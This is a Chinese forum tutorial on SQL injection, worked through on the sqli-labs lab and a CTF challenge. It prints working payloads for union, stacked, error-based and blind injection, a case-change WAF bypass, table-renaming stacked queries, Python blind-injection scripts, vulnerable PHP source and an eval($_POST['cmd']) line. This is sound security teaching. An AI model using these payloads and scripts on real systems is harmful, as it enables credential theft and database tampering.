sql注入學習分享

語言: CN / TW / HK

本文為看雪論壇精華文章

看雪論壇作者ID:xi@0ji233

WEB框架

web應用一改我們平時常見的 p2p 和 C/S 模式,採用 B/S 模式。隨著網路技術的發展,特別隨著Web技術的不斷成熟,B/S 這種軟體體系結構出現了。瀏覽器-伺服器(Browser/Server)結構,簡稱 B/S 結構,與 C/S不同,其客戶端不需要安裝專門的軟體,只需要瀏覽器即可,瀏覽器與Web伺服器互動,Web伺服器與後端資料庫進行互動,可以方便地在不同平臺下工作。

比如我們玩的英雄聯盟就是典型的 C/S 結構的服務,因為有大量圖片資源和 3D 模型儲存在本地,因此提前安裝好客戶端就可以方便地與伺服器進行互動,如果採用 B/S 結構的話,在我們遊戲開始的時候就要與伺服器建立連線,下載好各種資源到本地,然後再與伺服器進行互動,各種頁遊均是 B/S 結構。B/S 的優勢就是對需要服務一方的電腦要求較低,很容易可以相容系統上的差異,客戶往往只需要安裝瀏覽器便可以享受全部的 web 服務。web 應用會先向我們的瀏覽器傳送前端語言 javascript 或者 html 給瀏覽器解析執行,我們經過一定的操作之後會向伺服器傳送請求,然後伺服器根據我們的請求做出不同的答覆,這個答覆還是前端語言形成的網頁。

伺服器會根據什麼規則去響應請求,這個就要用到後端語言了,如 php,aspx 等都是常見的後端語言,現在以 php 為主。比如我們實現一個登入頁面,那麼這個登入肯定是會用到資料庫查詢操作的,我們將請求提交給伺服器之後,後端語言得到我們傳送的資料,然後後端語言就會相應地構造 sql 語句去執行資料庫查詢,並根據查詢結果來響應我們

那麼我們很清晰了,我們負責傳送資料,php 構造 sql 語句去查詢。首先明白一點,sql 語句肯定我們能控制,因為我輸入什麼它就要去查什麼。我們的輸入一定會被嵌入 sql 語句。如果我們在 sql 中能輸入任意內容,那我就相當於直接控制了整個資料庫。sql 注入的就這麼產生了,帶來的本質危害也就是資料庫資訊洩露,如果資料庫配置許可權過高甚至能讓攻擊者拿到 shell。

sql語言

SQL(Structured Query Language,結構化查詢語言)是一種特定目的程式語言,用於管理關係資料庫管理系統(RDBMS),或在關係流資料管理系統(RDSMS)中進行流處理。

SQL基於關係代數和元組關係演算,包括一個數據定義語言和資料操縱語言。SQL的範圍包括資料插入、查詢、更新和刪除,資料庫模式建立和修改,以及資料訪問控制。儘管SQL經常被描述為,而且很大程度上是一種宣告式程式設計(4GL),但是其也含有程序式程式設計的元素。(from wiki)

我們最常用的資料庫系統是mysql。

Mysql常用函式

資料庫基本資訊函式

注意,這些函式都無引數且在使用時必須使用 select 關鍵字輸出。

字串處理函式

在sql中,字串通常使用一對單引號表示。

sql注入常用函式

Mysql內建資料庫

Mysql:儲存賬戶資訊,許可權資訊,儲存過程,event,時區等資訊。

sys:包含了一系列的儲存過程、自定義函式以及檢視來幫助我們快速的瞭解系統的元資料資訊。(元資料是關於資料的資料,如資料庫名或表名,列的資料型別,或訪問許可權等)

performance_schema:用於收集資料庫伺服器效能引數。

information_schema:它提供了訪問資料庫元資料的方式。其中儲存著關於MySQL伺服器所維護的所有其他資料庫的資訊。如資料庫名,資料庫的表,表的資料型別與訪問許可權等。

這裡看似很複雜,實際上你只需要知道這個 performance_schema 資料庫就可以了。對於一個未知的資料庫,我們首先需要知道它的資料庫名,資料表名,知道表名之後還得知道欄位名,這樣我們才能使用類似這樣的 sql 語句 select 欄位名 from 資料庫.表名; 去洩露資料庫的具體資訊。

我們 navicat 開啟這個資料庫觀察一下有什麼表。

看著很多,其實我們只需要關心三個表:schemata,tables,columns,它們分別能爆出資料庫名,表名和欄位名。

我們先看看第一個表 schemata 的具體資訊:

可以看到裡面的schema_name 欄位的值就是我們當前這個資料庫系統中所有的資料庫的名字,從左邊也可以一一對應看到對應的資料庫。

然後看看第二個表 tables 的資訊。因為有點多我們看主要的:

可以看到裡面有一個 table_name 欄位就是整個資料庫系統的所有表名,然後前面的 table_schema 就是這個表對應的資料庫名。這裡也可以看到我們這個資料庫能從中找到 tables 和 schemata 這兩個表名,以及其它亂七八糟的在上一張圖也都有顯示。

獲得資料庫資訊的其它方式

在我們有一個 mysql 連線的情況下,我們想檢視所有的資料庫很簡單,一句 show databases; 即可解決,但是通常情況下我們這樣子輸入並不能很好的回顯,如果把資料庫名作為一條記錄輸出出來那處理起來會好很多。

我們想檢視資料庫還可以用這種方式:

select schema_name from information_schema.schemata;

我們對比一下兩個指令的結果。

可以看到結果基本就是一樣的。然後我們想檢視比如說 world 資料庫的表名,我們一般先 use world 再 show tables 或者一句話 show tables from world; 直接輸出表名,但是有 information_schema 這個資料庫,我們就能通過這裡把資訊顯示出來。

select table_name from information_schema.tables where table_schema='world';

可以看到結果也是一模一樣的。

剩下的爆欄位就不演示了,同理的。

select column_name from information_schema.columns where table_name='city';

以上的 payload 可以直接在注入的地方加進去,只需要改一下表名和資料庫名即可。

sqli-labs環境搭建

主要學習的環境還是用的  sqli-labs  ,我是直接在主機上搭建,因為修改程式碼起來十分方便,一改就能見到效果。但是這麼做確保切斷了對外界的網路連線,或者心大一點就算了,想著沒人會對自己的主機發起進攻的。

然後自己再搭建一個 web 服務,能訪問就算成功了。

在使用之前在 sqli-labs\sql-connections\ 目錄下的 db-creds.inc 中配置一下自己的使用者名稱和密碼,再點選 setup 把資料庫先配置好,如果一切OK,那麼進入第一關的效果應該是這樣的:

sql注入詳解

在對一個 ctf 打 sql 注入的時候,我們第一步就是要尋找注入點。怎麼尋找注入點呢,因為後端原始碼我們都是不知道的,所以我們只能通過抓包的方式觀察所有能提交的引數進行 sql 注入的測試。

找到注入點之後我們還需要判斷注入的型別。大體的注入分兩類,一類是有回顯的注入,另一類是沒有回顯的注入。一般情況下我們優先考慮有回顯的注入,因為時間成本比較低,那麼我們先來看看有回顯的注入吧。

有回顯的注入

什麼叫有回顯?查詢到的資料庫資訊會直接顯示出來,你能看到的就叫有回顯,反之則是沒有回顯。有回顯的注入有以下型別:

1、聯合查詢的注入:通過union關鍵字洩露資料庫資訊。

2、堆疊注入:通過重新執行一個 sql 語句的方式洩露資料庫資訊,或者直接增刪改查資料庫。

3、報錯注入:通過一些特殊的函式報錯把資訊顯示出來。

4、二次注入:咕咕咕。

聯合查詢的注入

利用要求:有回顯

假如你是 admin 登入之後,它頁面可能會顯示 hello,admin。那麼這個 hello 後面就是一個回顯的點,這裡就可以用來洩露其它資訊。這裡需要怎麼理解呢,假如它在登入的邏輯是這樣寫的:

select username,passowrd from data.user where username='$input_username' and password='$input_password';

然後我們判斷你的賬號密碼是否正確就主要看它是否能查詢到記錄,如果找到,那麼我選取這條記錄的第一個記錄的 username 欄位,然後輸出這個,就達到了它成功登入了什麼賬號,我輸出那個賬號的目的了。

至於上面為什麼說是第一條記錄呢,這裡你需要這麼看:select 的返回結果可能有很多,而不管它返回了一條還是多條它都是一個數據集,是個二維的表。因此選擇第一條記錄是開發人員預設會加上的,此時我只需使得前面的語句查詢失敗(返回空資料集)並選取其它內容用 union 合併這個資料集,並把這裡的其它內容替換成我想知道的內容,比如它的資料庫名,表名,然後它這裡就會原樣輸出這些資訊了,我們就知道了。這裡需要知道 union 是合併兩個資料集的,因此兩個資料集的寬度(欄位數)必須一樣,資料型別可以不一樣,返回 php 處理之後都會變成字串型別其實。

這裡我們拿剛剛搭建的環境的第一關來做測試:

這裡我們不需要尋找測試點了,它這裡已經貼心地提醒我們用 get 傳一個 id 引數進去了,因此我們先試 1。

可以看到我輸入一個 1 它直接貼心的告訴了我們賬號和密碼是什麼,這裡顯示的賬號和密碼就是回顯的點。

我們再測試這個引數是否能注入,最簡單最直接的方法就是打個單引號或者雙引號進去。

可以發現數據庫報錯,那就說明這個引數是可以注入的。

因此我們用剛剛提到的方法,先另前一個語句查詢失敗(空資料集),然後再 union 上一個資料集,這個資料集是我們任何我們想洩露的資訊,首先我們假裝對資料庫一無所知,我們第一步就是要知道這裡有多少資料庫,分別什麼名字。

根據報錯資訊可以略微猜測一下它的寫法 select username,password from xxx.yyy where id='$input_id' limit 0,1

我們先用引號閉合前面的引數,然後後面加上一個 and 1=0 讓前面的資料集必為空,然後再 union select 1,2--+ ,這裡需要測試引數的個數,因為你不知道前面有幾個欄位,不過這裡可以姑且先猜個 2,因為目前看來就找了賬號和密碼嘛,最後用 --+ 去註釋後面的單引號。結果發現數據庫報了這個錯誤:The used SELECT statements have a different number of columns,這個也不難看出來是因為 union 前後的資料集含有不同的列數,也就是欄位數不一樣,所以這裡不是兩個,那我們換成 3 個引數再看看,如果不行就接著換,知道不報這個錯誤為止。

這裡可以看到結果出來了,那麼前面是有三列的,並且賬號在第二列,密碼在第三列,第一列大概率是這個 id 了。 那麼我們就朝著這幾個回顯的地方去改引數,比如我想知道資料庫名,就用前面的方法。 但是這裡需要知道一點,那就是回顯的地方這裡只能存在一條記錄,如果存在多條記錄將報錯。 也就是說我可以把 2 替換成 select xxx from zzzx.yyy 但是必須保證結果集只能含有一條記錄一個欄位,否則會報錯。

一個欄位沒有問題,但是一條記錄的話,你會想到 limit,可以,但是太慢了,如果資料記錄很多一條一條打要累死人,這裡我們用到之前講過的聚合函式 group_concat,聚合函式會把所有記錄整合成一條記錄,並且我們還能一次輸出多條記錄的資訊,那簡直一舉多得了。

我們開始報資料庫名吧 select schema_name from information_schema.schemata

可以看到我們爆出了當前資料庫名和所有資料庫名,這裡需要注意,我們在替換為語句的時候,語句一定要加上括號,不然它的 sql 會分析失敗。

然後我們爆一下 security 資料庫的資訊,先爆表名,其實只需要替換一下就可以了:select group_concat(table_name) from information_schema.tables where table_schema='security'

我們主要收集一下使用者資訊吧,所以看看 users 資料表的內容,我們先獲取欄位名,一樣一樣地往上套就完事了:select group_concat(column_name) from information_schema.columns where table_name='users'

然後我們這裡我們就看到了所有的欄位名,我們這裡點到為止,把所有使用者名稱和密碼爆出來就結束吧。

select group_concat(username) from security.users 和 select group_concat(password) from security.users

好,到這裡我們就把資料庫的資訊成功獲取到了。

總結

我們可以看到聯合查詢注入十分方便,幾步到位可以把資料庫全部洩露出來,但是利用條件一般比較苛刻,需要有回顯點才能實現。

堆疊注入

堆疊注入的原理就是使用引號隔開前一個查詢語句,再自己書寫另外的 sql 語句以此達到任意執行 sql 語句的目的。由於結果很難回顯,我們一般這個用的不多,因為我們主要還是獲取資訊為主,而不是要去修改它的資料庫。

這個演示我們用 buuctf 裡面的一道題吧,是來自2019強網杯的一道題目。

先不管它怎麼說,有提交視窗先正常提交看看它原本的業務邏輯。

看這個輸出格式,應該也是從資料庫裡按照一個應該是 id 欄位查詢,查詢結果為兩個欄位,然後用 var_dump 輸出第一條記錄的資訊,然後按照國際慣例加個分號看它是否報錯。

報錯了說 明有注入點。

我們當然還是先試試聯合查詢注入,用 1' union select 1,2--+,然後我們看到它回顯了。

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

它過濾了很多關鍵字導致我們沒辦法直接使用聯合查詢注入,並且正則後面的 /i 表示大小寫全匹配,那看來它是不想讓你用聯合查詢注入,我們不妨先試試堆疊注入。 我們可以先去 mysql 連線裡面自己試試堆疊注入,比如我先實現一個邏輯,這個邏輯僅僅是查詢每個資料庫的表,那麼資料庫引數可控,我們就是這麼寫 sql 語句的: select table_name from information_schema.tables where table_schema='$input_database';。

可以看到隨便輸入一個數據庫可以實現功能,那麼我們讓 $input_database=1';show databases;--,經過拼接之後形成了:

select table_name from information_schema.tables where table_schema='1';show databases;--';。可以看到我們在引數中輸入了其它的 sql 語句。那我們看看結果如何呢?不出意外地執行了我們輸入的 show databases 指令。

所以你也就清楚了堆疊注入是怎麼一回事,我們試試看,一般題目裡面堆疊注入都沒有很好的回顯,但是這題它有,至於為什麼能有我們等會可以分析一下它題目的原始碼。

再通過 show tables 我們可以發現有兩張表 1919810931114514 和 words。然後我們下一步可以用 show columns from table_name 的方式去顯示錶中所有的欄位名。先看看 words 表,發現有 id 和 data 欄位,這裡大膽點猜測,我們應該是根據 id 去查詢 data。它的 sql 語句大概是 select data from supersqli.words where id='$input_id'。

這裡一個燙芝士注意一下啊,就是當資料庫名或表名或列名可能引起歧義的時候,需要使用反引號將其包裹。比如你 select 1,2,3 我並不知道你想找的是 1,2,3 三個數值還是這 1,2,3 是列名。那麼為了消除這個歧義我們在這個時候使用反引號。

select `1`,`2`,`3`

上述寫法就是表示 1,2,3 代表列名,反引號在鍵盤上數字 1 的左邊。

這裡因為是全數字,所以我們用反引號才能顯示出它所有的列,我們可以看到只有一個 flag 列。那 flag 應該是在裡面,我們需要查詢出它,這裡就可以用到堆疊注入的另一種姿勢:預編譯。

我們也先來看看預編譯的一般用法:

set @sql='show databases';
prepare ext from @sql;
execute ext;

可以發現它成功執行了 show databases,你可能會覺得一舉兩得了,但是這對於我們繞過 WAF 還是很有幫助的,它不讓出現 select 這個單詞的任意大小寫形式,我們就用前面的字串拼接函式 concat 就可以不出現 select 單詞但是能執行 select 語句。

我們還是在這個 cmd 裡面去執行。

可以看到,我們利用 concat 函式和預編譯的方式在全語句沒有出現過 select 的情況下使用了 select 語句才能乾的事。

因為在 php 裡面,執行語句的時候才會產生一個程序去執行 sql 語句,語句結束程序也就結束,如果我先 set @sql='xxx' 那麼再次查詢不會儲存這個變數的結果,這裡就需要把多條語句整合成一條,這也是堆疊注入特有的一個優勢吧。

我們的 payload 如下:

1';set @sql=concat('se','lect flag from `1919810931114514`;');prepare ext from @sql;execute ext;

我們打進去的時候發現 WAF 還有一層檢測。

strstr($inject, "set") && strstr($inject, "prepare")

這個很好繞過,因為這個函式它判斷大小寫的,我們對這兩個關鍵字隨便一個字元大寫即可繞過,我們最後的 payload 就是:

1';Set @sql=concat('se','lect flag from `1919810931114514`;');Prepare ext from @sql;execute ext;

成功獲得 flag。

堆疊注入還有一個很厲害的姿勢就是修改資料庫,但是請注意不要刪庫,因為這樣的話你可能就拿不到 flag。如果拿完 flag 再把 flag 刪了,如果環境你專用你隨便玩,公用的話就容易被別人噴了,萬一環境不能重置,那你不是直接沒了。

第二種方式是把裝 flag 的表改成本來的邏輯查詢的表,也就是 words 表。我們把那個表的名字改成 words,然後它可能是根據 id 查詢的,我們就把 flag 列改成 id 也許它是根據 words 查詢的,我們到時候改一下就好了。

先寫出我們這幾步的 sql。

rename table `words` to `111`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);

如果成功的話我們只需要一個萬能密碼即可查出所有原 flag 表的所有記錄。

我們的 payload 就是

1';rename table `words` to `111`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);

執行之後我們使用 1' or 1=1--+ 得到 flag。

堆疊注入為什麼可以實現,下面就到了我們的原始碼環節了,沒有官方的原始碼,只是從網上尋找到了差不多類似的,復現出來也基本一致。

<html>

<head>
<meta charset="UTF-8">
<title>easy_sql</title>
</head>

<body>
<h1>取材於某次真實環境滲透,只說一句話:開發和安全缺一不可</h1>
<!-- sqlmap是沒有靈魂的 -->
<form method="get">
姿勢: <input type="text" name="inject" value="1">
<input type="submit">
</form>

<pre>
<?php
function waf1($inject) {
preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
$id = $_GET['inject'];
waf1($id);
waf2($id);
$mysqli = new mysqli("127.0.0.1","root","root","supersqli");
//多條sql語句
$sql = "select * from `words` where id = '$id';";
$res = $mysqli->multi_query($sql);
if ($res){//使用multi_query()執行一條或多條sql語句
do{
if ($rs = $mysqli->store_result()){//store_result()方法獲取第一條sql語句查詢結果
while ($row = $rs->fetch_row()){
var_dump($row);
echo "<br>";
}
$rs->Close(); //關閉結果集
if ($mysqli->more_results()){ //判斷是否還有更多結果集
echo "<hr>";
}
}
}while($mysqli->next_result()); //next_result()方法獲取下一結果集,返回bool值
} else {
echo "error ".$mysqli->errno." : ".$mysqli->error;
}
$mysqli->close(); //關閉資料庫連線
}
?>
</pre>

</body>

</html>

中間的原始碼環節可以看到它在執行 sql 語句的時候使用了 multi_query 函式,並且會輸出所有的結果集。 所以這題可以用堆疊注入的原因就在這裡,我們可以很輕易地獲得多條語句的回顯,而在一般情況下是不能的,所以這題就是專門讓你用堆疊注入的。

總結

我們也來小總結一下堆疊注入:優點當然就是我們可以很輕易地執行多條 sql 語句,但是要求要回顯所有的結果集,否則很多資訊都是暴不出來的。如果你在普通的題目上使用堆疊注入,那麼前面那個 select 就算是空集那它也不會返回第二個結果集的內容,所以這也成為了堆疊注入的侷限性。

報錯注入

利用一些函式的特性,通過它們的報錯把資訊洩露出來,當然前提是你可以看到它報錯。

我們前面介紹的有關 xml 的函式都是報錯注入常用的函式,我們先來看第一個 updatexml 。至於報錯注入是什麼呢?我來打個比方,有以下程式:

<?php
include "flag.php";
eval($_POST['cmd']);
?>

已知包含的檔案是一個 $flag 變數,標準輸出流關閉的情況下如何知道 flag 的值? 這麼說吧,我們平時的一切正常輸出都是標準輸出流打印出來的。 只有報錯資訊是標準錯誤流列印的,如果這裡強制讓我利用錯誤流輸出,那麼可以直接選擇 rm($flag)。 當它執行的時候這個函式就會報錯 xxx not found,這個會通過錯誤流列印,而這裡的 xxx 就是 $flag 變數的值。 所以我們會讓關鍵資訊執行,然後通過報錯使得列印這個關鍵的資訊,因為我們不可能就是讓它打印出 $flag not found,這裡的 $flag 必須被解析執行成它裡面的內容才是對我們有用的。

在有些情況下,它標準輸出流並不能給我們帶來什麼回顯的地方,比如常見的盲注,它標準輸出流只會列印 You are in 或者 You are not in。這裡如果它顯示報錯資訊,我們同樣可以使用報錯注入去洩露資訊。

我們看看第一個函式:updatexml(xml,find,replacement)就是一個 xml 替換的函式,這裡中間的 find 引數必須使用 Xpath 格式,否則會報錯並使用標準錯誤流列印第二個引數。

我們來試試看:使用如下命令

select updatexml(1,concat(0x7e,user(),0x7e),1);    

可以看到雖然提示錯誤,但是還是成功列印了我們想要的內容,能報錯注入的函式有很多,報錯注入也不過多演示了。

總結

報錯注入利用條件和聯合查詢注入差不多,報錯注入需要能看到報錯資訊,報錯資訊是一個回顯的點,有之後就跟聯合查詢注入差不多了,把 updatexml 函式第二個引數替換成自己想知道的東西。

二次注入

暫略。

盲注

無回顯的注入又稱為盲注。如果無回顯或者回顯的內容和資料庫的內容沒有直接關係,那麼這個時候我們只能採用盲注的手段。盲注根據利用手法的不同又分為以下兩種:

1、布林盲注: 如果網站根據有無查詢成功,給你返回的有且僅有兩個結果。 我們的做法一般是,讓前面 where 的條件恆為假,再 or 一個自己要判斷的語句。 或者讓前面恆為真,再 and 一個我們要判斷的結果,這樣的話判斷的就是我們想知道的結果了。

2、時間盲注: 使用一個判斷語句,再 and 或 or 一個 sleep 函式,根據是否休眠判斷條件是否為真。

盲注的特點就是,我一次打過去我最多知道 1bit 的資料,所以盲注手打是非常耗時的,下面我將演示手打和寫指令碼打。雖然在某些時候 sqlmap 有奇效,但是你得想過,出題人不可能會出一道 sqlmap 能直接跑出答案的題目,所以真材實料還得自己學會。

布林盲注

我們開啟 sqli-labs-lesson5。

可以看到它這裡只回顯了 You are in,就好比,你登陸成功了,上面不顯示你的使用者名稱,只是告訴了你登入成功,否則提示你賬號或者密碼錯誤。雖然報錯有提示,但是我們不用,主要使用盲注來解決。

首先我們想知道有什麼資料庫,我們就象徵性打一個數據庫 security 下來吧,通過盲注的方式把這個資料庫名獲取到。

首先我們確定一下資料庫名字多長。

id=1' and length(database())<5--+

小於5發現沒有回顯,我們換成 <8,發現還是沒有,再換成 <9 發現有。 我們就知道了資料庫名長度為 8 了。

接下來我們使用 left 函式擷取字串字首,然後判斷,我們一位一位開始判斷。最後發現 left(database(),1)='s' 返回正確結果。於是我們知道了資料庫第一個字是 s。然後我們後面再一直這樣判斷,便能很快知道資料庫名了。

這裡為了提升自己,建議自己用 python 寫一個指令碼來進行盲注。

from requests import *
length=100
minlength=1
while minlength<length:
mid=(length+minlength)//2
sql='and length(database())<'+str(mid)+'--+'
url="http://127.0.0.1/sqli-labs/Less-5/?id=1' "+sql
print(url)
p=get(url)
if 'You are in...........' in p.text:
length=mid-1
else:
minlength=mid
print(length)

我們看看執行結果。

然後寫一下跑資料庫名稱的指令碼。這裡需要解釋一下為什麼我們在擷取字元的時候為什麼要加 ord,因為 mysql 是不區分大小寫的,所以直接字串比較就可能出現 mid(database(),1,1)<'T' 為 true 但是 mid(database(),1,1)<'s' 為 false,這顯然不符合二分答案的期望,會導致程式死掉。

from requests import *
length=100
minlength=1
while minlength<length:
mid=(length+minlength+1)//2
sql='and length(database())<'+str(mid)+'--+'
url="http://127.0.0.1/sqli-labs/Less-5/?id=1' "+sql
print(url)
p=get(url)
if 'You are in...........' in p.text:
length=mid-1
else:
minlength=mid

print(length)
now_str=''
for i in range(length):
l=0
r=255
while l<r:
mid=(l+r+1)//2
guess_str=now_str+chr(mid)
#print(mid,l,r)
sql="and ord(mid(database(),{0},1))<{1}--+".format(i+1,mid)
url="http://127.0.0.1/sqli-labs/Less-5/?id=1' "+sql
print(url)
p=get(url)
if 'You are in...........' in p.text:
r=mid-1
else:
l=mid
now_str+=chr(l)
print(now_str)

跑一下也可以看到結果。

但是我們仍然想知道所有資料庫的名稱怎麼辦呢?那就改一下,繼續跑,就是會慢一點,這裡我們用一個變數統計一下看看它一共請求了多少次。

from requests import *
length=100
minlength=1
cnt=0
while minlength<length:
mid=(length+minlength+1)//2
sql='and (select length(group_concat(schema_name))<'+str(mid)+' from information_schema.schemata)--+'
url="http://127.0.0.1/sqli-labs/Less-5/?id=1' "+sql
print(url)
p=get(url)
cnt+=1
if 'You are in...........' in p.text:
length=mid-1
else:
minlength=mid

print(length)
now_str=''
for i in range(length):
l=0
r=255
while l<r:
mid=(l+r+1)//2
guess_str=now_str+chr(mid)
#print(mid,l,r)
sql="and (select ord(mid(group_concat(schema_name),{0},1))<{1} from information_schema.schemata);--+".format(i+1,mid)
url="http://127.0.0.1/sqli-labs/Less-5/?id=1' "+sql
print(url)
p=get(url)
cnt+=1
if 'You are in...........' in p.text:
r=mid-1
else:
l=mid
now_str+=chr(l)
print(now_str)
print(cnt)

可以看到注出這些資料庫一共請求了 758 次,而且二分算是效率比較高的了,也許你會說我寫的也有問題,範圍應該限定在 33-127,但是對於二分來說,範圍縮小一半也只是少請求一次而已,整個資訊長度 94,我們理論上也就會少請求了 94 次。在經過實際測量之後,發現也是要請求 632 次的,所以盲注是不可能去手打的,一定要學會自己寫指令碼跑,自己會寫能應對任何情況,而你如果一味的依靠 sqlmap 最終會發現吃虧的還是自己。

布林盲注一般應用在頁面無有關資料庫內容的回顯,報錯也無提示,並且只有兩種回顯的結果的時候用的。比較萬金油,但是會導致請求量很大,實際應用的時候如果限制請求次數那麼會很難。

基於時間的盲注

這個可以說是最後的法寶了,因為它使用所有的帶有注入的頁面。如果你的查詢請求甚至不會有一點點的回顯,比如說登入的時候都不告訴你登入成功或者賬號密碼失敗,這個時候我們就只能使用基於時間的盲注了。

燙芝士:所有語言的特性—邏輯運算與和或都有這麼個特性,兩個表示式 and,如果第一個表示式為 0 那麼不會運算第二個表示式,兩個表示式 or,如果第一個表示式為 1 那麼不會計算第二個表示式,兩個表示式可以擴充套件到 n 個表示式。

基於此,我們給出第一個 payload。

1' and 表示式 and sleep(5)--+

這裡可以看到表示式為 1 那麼會執行 sleep,如果為 0,那麼不會執行。

我這裡寫了兩個 payload,一個是 1' and length(database())<5 and sleep(5)--+ 一個是 1' and length(database())<9 and sleep(5)--+,開啟控制檯的網路選項,我們可以看到:

前者在 10ms 的時間內就返回了,而後者在 5.02S 才返回。可以看到後面的表示式為真就會休眠 5S,根據返回的時間差來判斷表示式是否正確。

那麼我們也來自己寫一個指令碼來跑跑時間盲注。

from requests import *
import time
length=100
minlength=1
ss=time.time()
cnt=0
while minlength<length:
mid=(length+minlength+1)//2
sql='and (select length(group_concat(schema_name))<'+str(mid)+' from information_schema.schemata) and sleep(1)--+'
url="http://127.0.0.1/sqli-labs/Less-5/?id=1' "+sql
print(url)
start=time.time()
p=get(url)
#print(time.time()-start)
#quit()
cnt+=1
if time.time()-start>1:
length=mid-1
else:
minlength=mid

print(length)
now_str=''
for i in range(length):
l=32
r=127
while l<r:
mid=(l+r+1)//2
guess_str=now_str+chr(mid)
#print(mid,l,r)
sql="and (select ord(mid(group_concat(schema_name),{0},1))<{1} from information_schema.schemata) and sleep(1);--+".format(i+1,mid)
url="http://127.0.0.1/sqli-labs/Less-5/?id=1' "+sql
print(url)
start=time.time()
p=get(url)
cnt+=1
if time.time()-start>1:
r=mid-1
else:
l=mid
now_str+=chr(l)
print(now_str)
print(cnt)
print('cost:'+str(time.time()-ss))

跟布林盲注差不多,就是在後面加上個 sleep(1) 就行了,我們也不用回顯的結果去判斷了,直接用經過的時間是否超過 1S 就好了。 這裡我們不僅統計了請求次數,我們還統計了花費時間。

可以看到請求次數跟上面是一樣的(小聲:我偷偷改了ASCII的範圍)。並且注出這94個字元我們花費了將近 4min,可以看到這個時間成本也是非常高的。

總結

基於時間的盲注基本適用於所有含有注入漏洞的頁面,但是時間成本是最高的。

暫時先寫到這裡,後續學了新的 知識 再來補充。

看雪ID:xi@0ji233

https://bbs.pediy.com/user-home-919002.htm

*本文由看雪論壇 xi@0ji233 原創,轉載請註明來自看雪社群

#

往期推薦

1. 四級分頁下的頁表自對映與基址隨機化原理介紹

2. Android 10屬性系統原理,檢測與定製原始碼反檢測

3. WhatsApp私信協議實現記錄

4. Android4.4和8.0 DexClassLoader載入流程分析之尋找脫殼點

5. 實戰DLL注入

6. 某車聯網APP加固分析

球分享

球點贊

球在看

點選“閱讀原文”,瞭解更多!